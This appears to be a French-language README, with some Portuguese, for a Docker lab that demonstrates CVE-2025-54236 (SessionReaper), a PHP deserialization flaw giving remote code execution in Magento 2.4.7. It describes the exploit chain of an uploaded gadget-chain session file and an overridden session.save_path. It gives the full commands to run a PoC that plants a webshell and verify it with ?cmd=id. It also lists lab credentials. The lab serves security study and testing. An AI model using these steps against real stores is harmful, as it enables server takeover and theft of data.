
Environnement Docker pour démonstration pratique de la CVE-2025-54236 (SessionReaper) : Désérialisation d'objets PHP menant à une exécution de code à distance (RCE) dans Magento Open Source 2.4.7
Environnement Docker pour démonstration pratique de CVE-2025-54236 (SessionReaper) : désérialisation d'objets PHP menant à une exécution de code à distance (RCE) sur Magento Open Source 2.4.7.
Utilisation exclusive en environnement contrôlé. N'exécutez pas contre des systèmes sans autorisation explicite.
CVE-2025-54236 affecte Magento Open Source et Adobe Commerce jusqu'à la version 2.4.7. La méthode ServiceInputProcessor::getConstructorData() accepte des paramètres imbriqués via JSON qui permettent de remplacer session.save_path - le dossier où PHP stocke les fichiers de session.
Chaîne d'exploitation :
Guzzle/FW1 via phpggc) est envoyé via /customer/address_file/upload, qui le sauvegarde dans pub/media/customer_address/s/e/sess_<id>.{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} comme paramètre de constructeur.session_start() avec le PHPSESSID fabriqué, désérialise la gadget chain et écrit un webshell dans pub/errors/.Prérequis : sessions PHP configurées en file-based (pas Redis/Memcached).
magento/
├── lab-magento/ # Docker lab (Magento 2.4.7 vulnerável)
│ ├── Dockerfile # PHP 8.2-FPM com extensões Magento
│ ├── docker-compose.yml # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # Configurações do ambiente
│ ├── conf/
│ │ ├── nginx/ # VirtualHost nginx
│ │ └── php/magento.ini # Sessões file-based, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # Instalação completa do zero
│ └── 02-demo-setup.sh # Prepara produto, payload e imprime instruções
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # PoC principal (autor: alexb616)
└── payloads/
├── shell.php # Webshell com aspas simples (evita escape JSON)
└── sess_payload.bin # Gadget chain serializada (gerado pelo script)
docker compose)ambionics/phpggc disponiblesession_reaper.py cherche le binaire dans : PATH du système, ~/phpggc/phpggc, /opt/phpggc/phpggc et, en fallback, télécharge automatiquement l'image Docker ambionics/phpggcrequests (pip install requests)sudo sysctl -w vm.max_map_count=262144 pour Elasticsearch)cd lab-magento
# 1. Instalar Magento 2.4.7 do zero (~25 minutos)
bash scripts/install.sh
Le install.sh effectue :
composer install --no-devsetup:install avec sessions file-baseddefault (pas developer - évite que les warnings PHP 8.2 deviennent des exceptions)setup:static-content:deploywww-data à tous les stadesAprès l'installation, depuis le répertoire racine (/magento/) :
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
Vérifier RCE :
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# Saída esperada: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Méthode alternative (vecteur address, avec produit réel) :
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
| Service | URL / Hôte | Identifiant |
|---|---|---|
| Boutique Magento | http://localhost:8080/ | - |
| Admin Magento | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |
L'URI de l'admin est générée aléatoirement lors de l'installation. Pour la trouver :
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
# Sessões criadas pelo exploit
docker exec lab_magento_php ls -la /var/www/html/var/session/
# Arquivo de sessão malicioso em media/
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# Logs em tempo real
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
# Remover webshell
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# Parar containers
docker compose -f lab-magento/docker-compose.yml down
# Destruir tudo (containers + volumes)
docker compose -f lab-magento/docker-compose.yml down -v
Pourquoi des guillemets simples dans le webshell ?
Le phpggc Guzzle/FW1 sérialise le payload en JSON : [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. Le contenu PHP est encodé en JSON, donc " devient \". Utiliser $_GET["cmd"] donnerait $_GET[\"cmd\"] - erreur de parsing PHP. La solution est d'écrire le webshell avec des guillemets simples : $_GET['cmd'].
Pourquoi le mode default et pas developer ?
Magento en mode developer convertit tous les warnings PHP en exceptions. PHP 8.2 émet Warning: Trying to access array offset on null dans lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114, qui devient une exception 500 dans l'admin. En mode default, le warning est ignoré.
Pourquoi les fichiers se retrouvent dans s/e/ ?
Magento organise les téléchargements d'adresses dans pub/media/customer_address/{1er char}/{2e char}/filename. Pour les fichiers sess_*, le premier caractère est s et le second est e, ce qui donne toujours pub/media/customer_address/s/e/.